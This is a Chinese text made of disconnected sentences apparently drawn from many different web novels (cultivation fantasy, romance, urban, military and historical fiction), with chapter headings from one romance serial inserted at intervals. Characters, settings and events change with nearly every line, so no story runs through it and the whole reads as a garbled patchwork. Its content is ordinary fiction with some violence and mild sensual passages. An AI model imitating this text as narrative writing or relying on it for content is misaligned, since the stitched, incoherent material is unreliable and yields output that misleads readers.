聚集楼下的各部众,闻听圣主哭喊声,个个神情悲戚,想帮手却无从帮起。
随后,在庄严肃穆的礼乐中,藏卦真人将代表着掌门身份的掌门佩剑、掌门华裳、掌门信物以及最重要的掌门权柄交给了他。
不少人型生物为了钻研灵能,还改造自身,弄出了‘厄兰人’这种变异体。可见天赋对灵能者的重要。
溪风崖是在九元山的东部,而此时在九元山北部一个隐秘的山洞中,白袍人和剩余的几十位白衣杀手都在里面休息,而去袭击鹿族使团活下来的几个白衣杀手回到了这里。
当然如果唤作长歌的话,他连进门都不需要了,直接通过贴门的声音和气息的预判就能把手枪摁在门上做到一枪致命。
吴庆原本想着能留下活口最好,奈何这些黑衣人压根就是生死搏斗,把吴庆给气得够呛,直接下令全部射杀。
梁山笑了,这家伙义正言辞的样子能唬住别人。梁山是谁,嘴皮子功夫若是要评个境界的话,直追纯阳期了,是以他知道现下该怎么办,那就是根本不理会这姬康,当下也不搭看也不看姬康,一把抓住祝轻云的手。
就在这时,城外的烟雾就好像被一条长龙搅动,看得清楚,那条长龙在贴着城墙一卷,居然又回奔。
楚天虽然心理上早就已经准备去滇南了。但是他还真是没有想到神秘时候去呢,只想着只要这个暑假办了这件事情就行了。因此乍一听到于世龙安排到了后天,他还真是有些感到突然呢。
转身走进大四方的万若踢踏着脚步,玩世不恭的样子,像个孩子一样。
真的有孩子的哭声。清洁员大叔沒有骗自己。那眼前的这个三儿在撒谎了。
张六两索性也就没打扰这两位在那眉目传情,安稳的坐在四方路媒体公司的一楼会客厅里,完全就是一副欣赏乾坤哥谈恋爱的境地。
梁山心道如果不是他跟逍遥君打了这么多次交道,他也会被蛊惑。
张作为虽然心里气不过,但还是压制住了心里的愤怒,主动承认错误。
宁原明白,自己那便宜哥哥要时刻防着乔治,万一他出手救自己,乔治就会露头,袭击宁霖,绝杀。
他四处看了看,见没人看见,然后从夹克衫内衬掏出来了一张叠的整整齐齐的纸交给了施盼。
那幺我想问你,为什么我要偷你家的财宝?目的是什么?只是因为我贪婪吗?太荒谬了!」此时,艾斯难以保持冷静,最终开始提出自己的怀疑。
就在这时候,金克托的手机忽然响了起来,是金克托家在京城的医药公司董事长打来的。
一道道雷霆交织,直接将下方那个可怜兮兮的渡劫者,劈的全身冒烟,全身焦黑的躺在地上抽搐。
“我认识?”艾斯彻底懵了,自己竟然认识一位黑暗系魔法师?自己怎么从来都不知道?
第一卷 第98章 在她心里,他便这般对不住她么
谢玉恒被季含漪的话惊住,他往后大退了几步,他从未见过这样的季含漪,那双眼里对他全是恨。
仅仅只是因为一只猫。
她便说他不得好死。
长亭里,是看得到那间厕所的,李遨刚才被恶灵蛊惑就都进去了,然后就被那个鬼胎吸进肚子里。
与精怪的蜜月期还在继续?也正因为这蜜月期?所以才让玄天宗的实力磅礴发展。
从这个角度看过去,刚好能将她完美的曲线收入眼底。宋怀瑾喉头微动,眼眸逐渐幽深,空闲的手顺着她的脖子探去。
她本来是为了打阮瑜的脸才在办公室里人那么多的时候跟上去的,结果没想到,自己却反而被阮瑜那个贱人堵了回来。
正巧不巧,顾凝霜刚刚好就这样路过了自己所处的这个凉亭,看上去正是受了什么打击,一副灰溜溜的模样。
就她这动作,直接把刘丹吓得,当下便忍不住嚷嚷了起来,声音担忧道。
“你不是我,你永远成不了我,也没必要成为我,你比我幸运的多,没有遭遇一次次的背叛,保持着纯真,这是我再也找不回来的感觉。”天渊之主喃喃道。
就算是这般粗布衣服穿在人家的身上,也像是生生地镀了一层金,肤若凝脂,杏眼蛾眉,举手投足之间皆是风华。
所有人都开始惊叹了,他们甚至有一部分人的注意力完全被转移到王梓雯这里了。
慕容夕盯着白修辰严肃的看着他:这事你要是敢说出去我就弄湿你,你可想好了。
如果不能光明正大在一起,那他就在暗处追随着她,保护着她,就算做一个影子,他也心甘情愿。
楚曦被震的全身骨头碎裂,内脏也有多处受损,这一拳要是打在其他人身上,估计当成就碎成沫了。
离东部王国大陆的冬天还有一段日子,丘陵地区的气温已经下降到了10度。
一个可以不顾任何流言蜚语而当中宣布爱她的男人,这辈子有一个就足够了。
那他在游戏里面发了世界消息,说要和她解除情侣关系的事情,是不是马上就要被她知道了?
这个功劳齐老可不敢自居,虽说他在一开始确实提供了大量的财力和人脉,但后期却完全是楚曦自己经营操作,两者要分开来说。
啥也别说了!赶紧的下来吧人家在楼下已经等你好久了你瞅瞅你也不知道化个妆天天素颜出去说着还极其嫌弃的翻了一个白眼。
虽然,王伊在道法之上的早已,与独孤求醉相差不可以道理来记。
这样说的话,这些铁皮石斛就不是一般的凡物了,如果让这些铁皮石斛再长的话,可能成为药王也或许成妖了。
“我怎么感觉这里比我们之前经过的鬼林还要冷,这里的风就像冰针一样,全身都很疼。”苍雅她们那张脸早已被冻得发紫。
“这个吹的有点大了吧!”夏阳没把这几个字当回事,只是,夏阳唯一不明白的一点是,到底是什么原因会让这骷髅能喊出救命的声音来呢?
“你来我们庭院,莫非你被分配到了我们庭院了?”蒋艳双目一亮,有些喜悦的问道,因为这些天,啸天宗之内,每天都会有来自其余四宗的弟子,所以,这个时段突然有弟子被分配到她们这里,她们一点都不觉得奇怪。
第一卷 第99章 他想她了,他想见她
薛天华走了,他的时间不多了,他已经想好了,这一次他要赌一把,铤而走险。
制造五行圣兽的,是人类;制造六棋灵的,是亚特兰蒂斯的那个监护者。 所以是先有五行圣兽后有六棋灵的,但是因为亚特兰蒂斯的科技水品比人类高,所以六棋灵的能力比五行圣兽强大。
“机关做得很精巧,若不是那位仙人愿意透露给我们法诀,只怕我们还在一个又一个的阵法中忙碌呢。”高悦笑道。
仇厉只看了几招就放下心来,知道钟奎百招开外即可稳操胜券,与容若蝶相视一笑。
陈冰雯不想看见他那双贼兮兮的“色眼”美目紧闭努力让自己平静下来。
待高顺去后,吕布又盘算了一阵。把张辽召进宫来。张辽可以说位高权重,从某些方面来说,他是吕布军,当之无愧的第一人。
这些刺客似毫不在意自己的生命,每一招都抱着玉石俱焚的念头死拼林熠。
远都城的卡德菲可顾不得边关的事,他扩充了四十万大军,正拼命操练,至于边关的士兵,本就是消耗品,哪怕起到一个预警作用也好,损失了也没有什么好心疼的。
“我知道。大哥,要不我们碰到这种大陨石就设个传送阵吧,这样,若情况危急,我们还可以退回来。”叶子洛灵光一闪。
装备铁炮也是无可奈何的事情,精铁的产量虽然有了很大的提高,但还不足以维持海军的开销。为了节省开支,除了先进的战舰和远洋水师外,其余的部队只能使用笨重的铁炮了。
“你回来啦。”她笑着说道,人就出了门,来到萧恒卫的面前,俏丽的仰着头看着他。
夏阿美捧着衣裳,心里却好奇,江云仙是从哪儿弄来的衣裳,莫不是自己藏了私房钱?
飞虹峰上,没有了无涯灵君带领,大家都将眼光看向了年纪最长、辈分最高的吴长老。吴长老曾领过一次头,哪怕现在又多了三十六名修士,也不会让她觉得无处下口。
时间不长,传命兵带着一个身着华服,面色高傲的年轻人走了过来。
夏阿美知道她这是说的自己手里的冥王刀。果然是匹夫无罪怀璧其罪,自己拥有这柄神器,在自己没有能力运用它的时候,冥王刀就是她的索命刀。
这眼神,太侮辱人,就跟怀疑他智商有问题一样,厉乐生眼眸微眯,迸射出一抹凛冽之光,弯身一把抓住锦荣的衣领,将锦荣的身子整个往上提了几寸。
蒙面修士本可能是大有来头的人,可惜,连面都让韩啸和杜凌妃看到呢,就这么被干掉了。
本以为他会过一段时日才回复,结果不到半个时辰,她就收到了回讯。
路妍姿的神识看得清楚,见她每个动作都像是做了千万次,熟练而迅速,神识也比寻常混时间的学徒强,这才彻底放了心。
司空轩琅身子竟然变软了,仿佛被泡在一汪春水里,眼睛里流露出尤空看不懂的神情,他呆了呆,突然咧嘴笑出了声。
从秋玄进入先天高手起,剑圣就没有把秋玄当做是外人,他知道自己今生已经无望踏入更高层次的境界,所以竭力提拔着秋玄,不遗余力的指点秋玄,就是希望在他百年之后,秋玄可以代替他的位置,为他照看一下明月帝国。
老张已经可以确定自己老婆都做了些什么,她杀掉了自己家的大黑,放血,用狗血浸透麻袋。
片刻之后,姚英微微一笑,手中的那数十道丝线已经彻底地化为灰烬了,这一波的攻击的确是让轩辕北斗给接下了。
“还磨蹭啥呢?”果然,她见我好像是在发呆,不耐烦地催促道。
老张家的大地远离城区,人迹罕至,因为地多,所以相邻农户的大地也在很远的位置。
由于光团与吐息的冲撞,战场中狂风肆虐,天地变色,两团能量的正下方,地面正在不断地塌陷,四周的生命气息也在慢慢地湮灭。
加速运动的血液令北斗的身体有点负担不住了,换了之前的北斗肯定会爆体而亡,但前面两个月的修炼已经让北斗的身体达到了当前功力的最高级别,就算是莱恩哈特在C级别的时候可能身体都没有北斗强壮。
德家并不是在城内,而是在城外数里的地方。德家在一处山脚之下,盖着一幢庄院。秋玄老远就看见了德家庄园,没有想到这个德家这么大,一眼望去,差不多山脚下的半个山林都是德家的庄园。
于是,又禁不住开始反问自己,“为什么我张嘴‘嗷’一声,我母亲就有反应;而母亲不也时常在张嘴么,为什么我偏偏没有感觉呢?
谢老三点了点头,也没有多说,如果在后面的监控里面看不出问题再往前翻就行了。
“我需要知道神武会所的实力,还有黑龙会内部的问题,最主要的是藤川的态度。”申屠浩龙也不啰嗦,简短的将自己的需要说了出来。
想到这里,大内麻衣看着宁凡,脸上不禁露出了一丝得意的冷笑。
反正他和万仙盟也没多大关系,镇远舰上的修士是死是活,也与他毫不相干,他犯不着因此而得罪九头蛟。
“哼,王浩,你别得意。刚才只不过是热热身,现在老子才是正式的和你开打。兄弟们,都准备好了吗?今天就给揍扁王浩这帮狗东西!”郑一飞被打出宿舍外边后,似乎更嚣张了。
他这语气傻子也听得出来是不高兴的,江光光不敢再应是。低垂下头没吭声儿。
穆白没有立刻查看其与澹台明灭的那场比赛,而是按照顺序,从其第一场比赛开始查看。
“有股神秘力量在抑制这些裂缝的诞生,并且在促使丹田愈合,重新自封。”穆白剑眉微蹙,前行的脚步不由停下。
第一卷 第100章 你瞧上顾家那姑娘了?
夜色掩映之下,窜出了一团巨大的黑影,紧接着,半山腰上投射下几道刺眼的光芒,瑞诺等人赶紧避开这飞沙走石。
然后,给你要拉入你的梦境世界的存在安插逻辑严谨的理由,让对方瞬间代入你的梦中角色,然后,将其格杀,或植入某种思想。在大梦神通中被抹杀的存在,精神将会消亡,会成为植物人。
但此时以潘震天与他们的江湖地位对比,他们确实好无胜算,只能任由潘震天造谣。
何二狗在几十秒内经历了人生的大起大落,一下子失落得说不出话来。
来来回回搜寻很多遍,叶凡仍然没能找到那东西的正确方位,因为外部空间世界太黑,使得他的视线严重受限,仅仅能看到几十米之外。
百灵夫人躺在摇摇晃晃的榻上辗转反侧,入耳的全都是波涛拍击船身的声音。
予辉叫着不好。幼时的七尾与凝儿是最好的玩伴,如今竟让七尾目睹了崔凝真真正正的死亡。
“滚,咱们走,明天我就叫我爸买辆车。”陆羽瑶狠狠瞪了对方一眼,拉着郑东走进了大楼。
不论那是哪一个界元的星空图,那里面一定存在了一方修真世界!不然的话,制作这幅星象图的人不会浪费功夫,去做一份无用的东西。
一旁的帕尼好笑的看着金泰妍的笑脸,还真是什么都藏不住,一看就知道昨天跟杜佑家相处的不错,一想到今早的情景帕尼就忍不住佩服这丫头,看杜佑家那宠溺的样子就知道她俩有门,但是为什么还不开口呢?
杜佑家在天台上呆到了下午四点,落日的余晖洒在身上暖洋洋的,让杜佑家舒服的伸了个懒腰,从口袋里拿出震动的手机,看着上面的来电显示,杜佑家柔柔的笑了笑。
“那还不如叫贝斯手乐队呢,比你那个什么鼓手好听多了。”朴俊勇反驳道。
刘惊人自后背拔出三尺七寸的长刀,双腿连环迈进后,一个转身斜斩,长刀以惊人的速度斩向正传奇。
他话未说完,王永强瞧他一眼,身子一转,背身就走,没有理睬他。
然而此时的天茗已经不再是初出狄威城的天茗了,随着修习了“正奇十手”以后,武技已然有着明显的进步,更是在数次生死搏斗中感悟自身,使得此时的武技已然达到了在这个年纪可以称为恐怖的境界。
杜佑家的朋友中,除了那几个首尔的有机会陪父母过节之外,其余的基本打算泡在练习室一整天,与其羡慕的看别人一家团聚,还不如安安心心的提升自己的实力,争取早日出道。
这一番演说,和度准备了很久,为了今日,他不知多少个日夜仰望星空构思说辞,王欢一方枭雄,难以为言语打动,如果不能投其所好、一语中的,找出他的软肋作为突破口,和度此行所肩负的重任,根本难以完成。
我在一旁也是紧张万分,这兰陵王听到这消息会有怎样的后继反应我是心里是一点底都没有,这要是发起神经,再来一波大杀特杀,我们百分百要全交代在这里。
中华武学之中,从野兽的行为动作中取材颇多。五禽戏自不必说,如普通的黑虎掏心,神龙摆尾,大鹏展翅,白猿摘桃等等,都是从野兽的行为中模仿而来。
就只是设计行业中而言,一个是天,一个是尘埃,根本没有接触的机会。
而在他眼睛里,这两姐妹又有了变化,她们恢复了人的样貌,似乎又变得美艳动人了起来,甚至更甚!而她们正摇曳着曼妙的身姿正在向自己靠过来。
老铁匠的注意力全被桌子上的酒肉吸引了,也顾不上许多,连忙拿出了一些碗筷,坐下就和老光头吃喝了起来。
见已经有人开始看向这边了,熊袭狂男赶紧试图制止他的沙雕行为。
他们在花海里并肩走着,边欣赏着这里的百花齐放的美景,边悠闲地聊着天。
其他的照片都是时欢的特写,和各个角色的合影,虽然没有华丽的服装,但是却洋溢着满满的青春气息。
身上穿着正常的衣服,但露在外面的一双手却泛着淡淡的金属光芒。
只不过,在今天之前,不管是梁山,还是梁歆本人,都没能测验出她的天赋是什么。
李平安迈步走到桃树下,一个个问题接连在脑海之中浮现,远古的事情,秘境的事情,以及他为什么能够出来,他还有什么布局等等,迫不及待想要找刚刚那个龙皇问个清楚。
容越似笑非笑的欣赏着孟芙蕖难得的迷糊,一直都不怎么喜欢人靠近的容越,这时却将孟芙蕖抱得十分的紧,好像要将她给揉进骨子里似的。
难道要去找界湖,通过登天池来升级?苏寒锦摇了摇头,这些东西太过飘渺,她没有那么多精力和实力,现在,走一步算一步了。而就在这时,早已返回葫芦之中的黑马仰起了头,它看着头顶的天幕,片刻之后,幻出了人形。
“顺子,你听过王爷唱的这歌吗?”走到无人处,黄经臣问跟在身后的顺子。
等雷落九天刚刚落地,林枫的身子就动了,身子带着残影就朝着维恩无非冲去?能给维恩无非稳住阵脚的机会么?
至于后世佛昌道没,既有客观原因,也有主观原因。特别是主观原因。
孙瑶此时心里酸溜溜的很不是个滋味,相比起徐清影来,她自然更信服陈长生的话,顺着他想下去,只觉得自己从头到尾都像个傻瓜。被他们牵着鼻子走,费尽心力在帮他们,结果到头来反倒成了里外不是人。
“老爷是想诱之以利,将他们也招揽过来?”邱拜月忽闪着眼睛问道。
“试个屁!”夜旻君呸了一声,只是这个时候,他没有再挣扎,那灵舟上的天玄剑门弟子,亦让他受到了震撼。
第一卷 第101章 今日能见着沈侯爷么
交易完成后西服壮汉回上他的奥迪离去了,那三人也回上他们的红色轿车开走了。但他们都没注意到,红色轿车的后备箱一直打开了点,里面一个DV镜头已把刚才的经过都毫无保留的记录下来。
珲丹布鲁斯大手一挥,整个教堂的门窗随风关闭,同时,禁制类技能封闭了每一个出入口,确保在审查结束前,任何人都不得进出。
玖夜没想到大岩蛇居然这么有自信,心想大岩蛇原来不止有着顶尖的身体天赋,还有着不弱于郡主的技能天赋。
石卫党又恢复了昏睡,不过石卫国听见了哥哥的惨叫不顾陆老头的阻拦冲了进来。
周围的那些亲戚听着谭正青的话,一个个看这着李雨的时候,眼神流露出了别样的眼神。
蕾儿看着两人又看了一眼屏幕上的直播,心里做了一下抉择,然后果断选择了留下看比赛。
境白夜不清楚安室透加入组织前是干什么的,可他年龄摆在这里,未必是那个潜伏组织多年的卧底的对手。他只想看一下他的能力,并不希望他出事。
到了四四一工厂,只见那里已完全戒严了,除了原来该厂的武-警守卫外J市市局的警察也来了很多,守门武-警依旧按例仔细检查了古凉和凌雪的证件及他们的随身物品后方让他们进入。
经理不卑不吭的对着冯益说:“对不起冯先生,这是龙跃酒楼的规定,我们也只是按照规矩办事。
竹清那清冷的嗓音随之响了起来:“戴沐白,只要没干对不起我的事儿,和兄弟们出去喝酒什么的这些,以后你尽可以大胆的去,我不拦你。
“呵,今天这都怎么啦?好像结婚跟我无关似的,都冲着我老婆来,都不理我了。”叶少讪笑道。
“大哥,你亲自来了?”炎爷一听,立即收起了气焰,赶紧转身朝来人点头哈腰道。
黄婷答应白天派人帮他暗中保护韩雪,晚上他放心不下,决定自己暗中保护。
冰之仪素来果决甚至于说狠辣,她已决定的事情,他们还没有资格去否定。
江遥看着那条修长无暇的玉腿,就是不考虑一些旖旎之事,仅仅把这条腿拿着把玩,也是赏心悦目的。他倒不介意就这样过一晚上,但林曦想要的却不止这些。
哪怕在凤鸣山庄覆灭的那一个夜里,凤栖梧与楚风相对而坐,共同饮酒,彼此之间坦诚相待,说了很多心里话,但是他与楚风之间的仇恨却根本就无法消解。
那是真的想要杀了他的杀意,没有一丝一毫的虚假,如洪涛一般,铺天盖地而来,让他感到彻骨的寒冷。
恶鬼魔尊看了一眼放在帝城两侧的魔法塔,不由得微微冷哼一声,随后,背后猛地出现一双巨大无比的骨翼,带着魔尊直接冲向了远处。
雷战的一个眼神,让奥对雷战的想象完全的改变了。之前那个不笑不说话的雷,显然已经变成了一个浑身弥漫着滚滚杀气的杀神。他还是他所想象的那个雷吗?
“哥,我在这个世上已经没有别的亲人了,只有你和嫂子,我要是能保护好嫂子,你和嫂子能平安幸福,那我也就能跟着享福了。我这也是在为了自己。”乐意见叶少感动,忙说。
而留在原地的桑离,却是久久未动,只是将一双平静冷然的清眸,悠悠的放在了亭廊外面的黑白宫墙上。
满腹的不解,听着这轰隆隆的水声更是纳闷不已,这声音显然就是瀑布声,这里难不成就位于那深渊之底,瀑布之下?
二人悄声对话被苏染画听的一清二楚。她深深的感受到自己被那个黑衣人涮了。这里根本不是他的窝点。而是他鸠占鹊巢。趁人家里沒人。借用了别人的地盘。而且还让她來负责传递什么鬼暗号。
舒池抬手开了窗子,一阵清凉的风带着丝丝缕缕的花香扑面而来,她心头一震,顿觉眼清目明。
据说云皇当即震怒,连夜将陆明持召进宫去,狠狠的训斥了一顿,陆府合府昨夜一夜未眠,只等云皇的旨意。
这个老狐狸,平时不显山不露水,可一旦得着了你的错处,就会向鬣狗一样死死咬住,直到你再无活路无止。
表面上,他衣冠楚楚,潇洒英俊,嘴角带着邪恶的笑意,在外人看來也是绅士儒雅的。
“心口还疼吗?”良久,终于淡淡地问到,她那两掌都往那儿打了,留意过的,这‘床’锦被换过不止一回了。
当然,对于明寒来说,现在最期待的就是――两个巨头的史诗级碰面。
巨鹿神族虽然势大,在这附近的十几个真灵种族之中,也是属于数一数二的大族。
听到中村健二郎这么说,两名警察对视了一眼,没有再多说什么。
早在登岛之前,他们就已经猜到,这明心岛上肯定还有他们未曾想到的意外。
“张总好!”忽然间,阿豹的身影,从公司里面串了出来,恭敬的敬礼道。
却是在叶冲怒吼而出时,明心岛之上,草木摇曳,似有狂风,于无声处卷动而起。
整个过程,唇角含笑,美眸灵动,笑的比刚才还愉悦,美的更是惊心动魄。
秦枫尴尬的问道,他实在不晓得该怎么说了,被抓个现行,何况他还不确定秦岚是不是真的喜欢自己,那如果是真的,恐怕她就真生气了。
这个名字,时常看球的人自然是熟悉的。但当他进入这个赛场的时候,就宣告着,他已经成为了一名职业的球员。
解药微微皱眉,不解地看着莫非,魔门中人对仙法、仙术很反感的,莫非怎么会?
第一卷 第102章 盼着她来
张氏是见过沈肆的,那回在人群里过来,众人纷纷在他面前跪下的场面,她现在还记得。
那当真是极贵的人,甚至贵到让人不敢去看他面容。
多年的征战,陈彦心知道打仗在关键时候可以凭一时之勇,但长久不行,此时把鬼子逼进了村子里,如果硬攻,效果不大,甚至会带来更多的牺牲。
以往的交战中,汉军给他们的感觉虽然顽强,却不是传说中的那般强悍,尉黎国王的野心就是在这种情况下渐渐的滋生,他要从汉人的手中得到更多的好处。
当然他也有另外的打算,如果能够拿着格罗马什的卡片回归,势必会给自己增加声望。
看着吃了蛇丹渣的金鱼依旧生龙活虎的游着,厨师长放心了,直接将蛇丹平分切成了两份,一份放到了清汤里。
几万万人都这样,将是一个多么强大的力量。武器的强大,还没有到了可以大量杀死人的武器出现,只要一下子杀不完中国人,那他的后场,就是死路一条。
徐山心情平稳地跟着,并不为这种似乎简单的谈情说爱失望,他的目的是看能否找到许青青的据点,或者她这条线上其他人物,所谓知己知彼百战不殆。
却见这个男人头发梳理得一丝不苟,油光水亮,微微发福的身子,却是显得无比威严,看似平和的眼神中,蕴藏着极强的魄力,一看就是久居上位、养出气势的存在。
包括军中的将领,他们也难以想象,这是刚刚回到城内之后对于他们好言宽慰的于禁吗。
老怪没有等到期待的结果,看着徐山,一头长发,胡子拉碴,笑容诡异,处剧变而不惊,视众生于无物,想起对方刚才说自己筑基大成的话,对方不是没有修行么,怎么看穿自己的?
“是。”旁边的杜荷应下,挥挥手,立马便有将士上前,将所有人的面巾都解了下来,只见其中有将近九成的人,脸上都布满了黑紫色的水泡,显然也都是被感染了,只有少数几人和齐贤一样,脸上依旧光净。
“我在我在。”王凌青听到吴华的询问赶紧答着,她心里对这次科研项目不抱什么希望了,但是出于礼貌,王凌青还是打算把这个电话打完。
被吴华这么一提醒周敏才知道自己就要开学了,可是梁怡珊现在这个样子,周敏是无论如何也不能走的。
陈君梅此刻站在一片悬崖之上,自从那天晚上吴谦出现在陈君梅的脑海之后,吴谦就像火苗一般在陈君梅的心中死灰复燃,而且大有越烧越旺之势,三个月的决绝之恨让陈君梅以为自己已经忘了吴谦,然而还是陈君梅错了。
见到老将军和骆轻雪爷孙俩幸福开心的样子,骆市长和叶子峰都笑了。
脸上刚刚流过的泪痕还湿湿的挂在脸上,佳瑜连眼都不敢眨的看着站在床边离自己很近的凯杨,生怕他在下一秒会消失似的。
而且掌法这种武功,随时随地可以用,不必扬刀拿剑的,掌法虽千变万化,但内力高低才是决定实力的唯一凭借。
我这才安心了不少,“我现在好看吗?”我说,一边说,一边摸一摸自己的脸颊,摸一摸自己的头发,为什么脸颊上湿漉漉的,有点儿疼。为什么发丝干枯不均匀呢,我不知道。
第一卷 第103章 目光全在她身上
沈肆进来而时候,屋子内一下子就静了。
“就让我看看,这轮回天究竟有何玄妙在!”想到这里,江维便要迈步进入闻道塔。
他的腿跪下了一只,就像是臣子向君王朝见的那种跪拜礼,他的这一声干,不知道是在骂玉帝,还是在骂自己的无能。
灵魂的能量与身体融为一体是需要一段时间的,莫天就这样抱着柳菲菲在静静地等待着她醒来。
真理死掌握在少数人手中,可是很多时候真理却不被多数人接受,因为很多时候人是非理性的。
不过这也没有办法,妖族本就是一个以实力强弱论尊卑的族类,妖善被妖欺,马善被人骑。而在这里讲道理最方便的方法就是用拳头。
而南下宋朝,威逼汴梁,本质上是获取大量财货,更好的弥补财政不足。
这厮想卖的东西可是赃物,要是空明山挂失,被人家抓到的话,自己还真的被人家当做盗匪了,那自己还真的是要做冤大头了,当然,这厮自然不会是乱卖,他会多找几家,把东西拆开来卖。
二蛋听从江维的指挥,跑回原罪城找白夜月。不过一直到现在,二蛋都还没搞明白,到底发生了什么事,自己到底又为什么要风风火火地跑来跑去?
“可是我们并不知道跃马旅店究竟在什么地方。”苏珊看着林一峰说道。
在大宋,当皇帝贤能,才德很重要,可是根正苗红更为重要。仪王出使金营,临危不惧,给士大夫增加了不少印象分;后来救援河东,又增加了不少印象分;再加上皇室嫡系一脉,只留下了他,于是他当皇帝也是必然了。
看亭台上密密麻麻的彩衣身影,少说也有五六十位闺秀,在场的二十个单身武官,或许真有人能在今日收获良缘。
所以说,农科院的突然消失及里面的人都化成光点有很大的问题。
特别是在面对当前这样的困境下,所有人的心里都清楚,这件事情并不像想象的那么简单。
感受到大楼外的火焰被迅速扑灭,驻守的干部也离去,桃地再不斩将身形隐匿在雾气之中,无声无息的向着顶楼走去。
将床上已经high到昏厥的黑人,以及龙月棠带走之后,屋内在场几人也都被请走,要被带去询问。
林克都完全没有在意两个叛忍的动作,只是用腋下夹着他们重新走进卡多运输公司大楼。
光柱再一次出现在东京的上空,下方研究所中一切罪恶实验以及埋藏的诸多秘密,甚至在那一次异变中窃取的异世界宝物……一切的一切都不在重要,大地无声无息的缺少了一块。
不过徐恬雅一门心思都放在演唱会和买歌上面,完全没有心思和直播间的观众互动。
最后,电影结束,字幕起,然后厅内依然是鸦雀无声,可能在回味或重新梳理整部影片吧。
看着这妞现在的摸样,林枫实在很难把她与昨天晚上的那个妖精联系起来。
在以前,论境界朱木神王和朱烈神王都是八变神王,可论天资,朱木神王在朱烈神王之上。论底蕴和血脉,朱木神王也在朱烈神王之上,甚至连根基,也比朱木神王稍强一筹。
第一卷 第104章 食髓知味原是这般的感觉
沈肆站的离自己有些近,近到好似只有一两步的距离。
“既然能得圣翁赏识,少天定必竭尽全力,荡除这些恶之物质。”凌少天一听第三点,如打鸡血般,激动道。
夏询抿抿唇,虽然已经从大夏国的夏王爷位置上离开,可是他的势力一直在,夜倾城想着找别人,却总是没有想到找他。
从李云霄那里赢来的七彩琉璃杵还没有送出去,他在沉思要不要将七彩琉璃杵抵掉,参与到舍利子的竞拍中。
当年,师尊李寻欢的事情,自己记得从龙啸天那里知道,他曾经也被斩仙台斩过。
偶尔黎兮兮和清霄闲谈一番,不过更多的时候,清霄却是在教导草秋,因为两人心中都明白,这种悠闲的时光并不会太久。只要等到黎陌出关,想来便会忙碌起来了吧。
于是,两道身影继续向着他们的目的地赶去,即使是周围流传着不少关于六色、七色甚至八色迷地的消息,也动摇不了他们此刻的目标。
那个时候他还是一个高中刚毕业,段位青铜五,讲话都有点唯唯诺诺的少年。
之后,慕以霖知晓了南山先生的身份,就以救命之恩相要挟,要南山先生陷害沐千寻,只为皇位。
东白仙山之上,在阳光之中,一道火红的凤凰撑开华丽的彩羽,偌大的翅膀遮住璀璨的太阳,承载那一抹清瘦的背影,。
等在她熟睡,他这才无声的起身,站在窗台边缘,负身望向远方。
那个竹简应该是这个空间特有的,破坏不了,也应该拿不出去,不然苍穹早就会丢掉了,也不会想到破坏掉;既然苍穹破坏不掉,那肯定还在这个茅屋里面。
这个时空地球最初的危机来自博伽茹,为了进食的博伽茹主动引来各种怪兽,但博伽茹被消灭后,事情发生了变化。
对他来说,只要能取得胜利就没什么好丢人的,而且这也符合哉阿斯原本的表现。
慕芙蓉示意他躲开,从他旁边经过,打开了窗户,嗅着窗外清新的空气混合着海风,凉爽极了。
她也曾想尽力融入集体中,但总感觉被边缘化,好累,于是就索性随性而为了,也不刻意去和别人亲近。
这么劝诫是因为就算再比一次,还是慕芙蓉会赢。不如在这里做个大方人,将金丝甲送出去。
紧接着,一片白光从羽翼上射出,目标直指正在领跑中的圣十玄。
王成清正准备上前给三人做介绍,就见叶准和慕青莲已经像是老友一般熟络的交流起来。
依西利斯头部看着有点像古埃及的法老头像,身躯也带着部分木乃伊特征。
要知道,他刚刚可是亲眼瞧见林霄一脚踢飞一名武者后期境的高手。
一阵阵久违的酸爽,迅速弥漫开来,在他身形辗转的同时,慢慢的荡漾在空气之中。
这期间,慕惊鸿也曾来看过司徒千辰一次,进屋之后也只是跟司徒千辰说话,并未看凌剪瞳一眼。
但这些报纸,在落到杀手组,佣兵会里的时候,希斯他们的相貌却变了一些,和他们本人一点都不相像。
第一卷 第105章 我回来,是为了见你
就在我话刚落,杨万天的手机突然响了,杨万天皱眉的拿出了一看是保安室的王队长。
我本来是不想说的,毕竟让沈曼婷参和进来不是很好,可沈曼婷这妞瞪着大眼睛看着我,我也不知道咋回事,每次看见沈曼婷用那审视的眼光看着我,我都提不出欺骗她的半点。
镜子之中的丁老鬼好像挺不耐烦的,冲着我说道:说吧!有什么话赶紧说,我这忙着呢?
不管怎么说,凌立是安全的回来了,虽然他们有些怀疑凌立这句话的真实性,但是李彩凤他们觉得凌立必定不会无的放矢。
孙茂林一听是我,也不问我问他借钱是干嘛,二话不说便让我说卡号,我故意说话声音比较大,当孙茂林问我卡号时,我便扭头看向我身旁的警官。
孔木打出灵章法印,压在混羿君王头顶,然后和大黑鼠各自施展封禁之术,再给混羿君王加上两道封印,然后才露出了笑意。
没错,他用了整整一年的时间,终于成功的由炼气巅峰境界,晋级到了筑基初期境界,也成为了先天境界的修炼者。
赵季在我的印象里面,是属于那种中上游的那种人物,一般的事物,不管是人还是那些灵体之类的事情,他都是能够做到游刃有余的,而我父亲则是上游的行内人,难道还有比我父亲还要厉害的人物藏在首都里面吗?
过去了一辆渣土车,弄得路面昏昏沉沉的,我也不懂为什么会在这里等她,或许是季阳的认真打动了我,也或许是别的原因,不过我很清楚,绝对不是因为我对善聪丽有感觉。
徐良这个时候也是有些着急了,他直接留下这样的一句话便是直接向着会场之中走去了,而留下一脸呆滞的心腹留在那里,不知道干些什么。
祝年旭因着他母亲的事,心里对祝如如也有些记恨,因而语气和态度很不好。
由于陈默菡的一再抗拒,何天珊也不好再牵着她的手,或者挽她的胳膊,她怕惹陈默菡生气。
默默地听着周亚泽这一席话,我真的不知道应该发表什么样的意见了。
这话若是寻常听到,石磊必定会心欢喜,可偏偏的,此时的他有些心中苦涩。
她一定会后悔吧。哥哥因为保护她,如今像任人宰割的羔羊般,身陷囹圄,对方若不是想着他是平南王世子,尚有利用价值,只怕早就下了杀手,她必须得想法把哥哥救出来,时间越长,哥哥就越危险。
李大凤急忙的让李母帮忙把孩子抱过来哄,又给孩子喂了奶,等他们两个睡下之后,李母才悄悄离开。
我只得拉了拉他办公桌对面这边的椅子,坐了下来,就目不转睛地盯着他看。
但是随即,星辰漫天,众人像是来到了宇宙星空当中,每一颗星辰都如同一颗璀璨的宝石,镶嵌在夜幕上,不断闪耀。
